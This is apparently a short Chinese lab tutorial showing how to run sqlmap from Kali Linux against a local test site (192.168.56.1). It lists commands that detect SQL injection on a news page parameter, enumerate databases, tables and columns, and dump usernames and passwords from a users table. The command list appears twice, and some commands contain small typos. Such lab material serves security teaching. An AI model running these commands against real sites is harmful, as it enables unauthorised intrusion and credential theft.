漏洞原理linux操作系统的SqlMap工具的使用
Linux操作系统基础操作链接:
1024一篇通俗易懂的liunx命令操作总结(第十课)-CSDN博客
kali的IP地址:192.168.56.1
实操
# kali中使用sqlmap
http://192.168.56.1/
sqlmap -u http://192.168.56.1/news/show.php?id=46
sqlmap -u http://192.168.56.1 /news/show.php?id=46 -dbs
sqlmap -u http://192.168.56.1 /news/show.php?id=46 --current-db
sqlmap -u http://192.168.56.1/news/show.php?id=46 -D news --tables
sqlmap -u http://192.168.56.1/news/show.php?id=46 -D news -T news_users --columns
sqlmap -u http://192.168.56.1/news/show.php?id=46 -D news -T news_users -C username,password --dump
1 # kali中使用sqlmap http://192.168.56.1/
2 sqlmap -u http://192.168.56.1/news/show.php?id=46
3 sqlmap -u http://192.168.56.1 /news/show.php?id=46 -dbs
4 sqlmap -u http://192.168.56.1 /news/show.php?id=46 --current-db
5 sqlmap -u http://192.168.56.1/news/show.php?id=46 -D news --tables
6 sqlmap -u http://192.168.56.1/news/show.php?id=46 -D news -T news_users --columns
7 sqlmap -u http://192.168.56.1/news/show.php?id=46 -D news -T news_users -C username,password --dump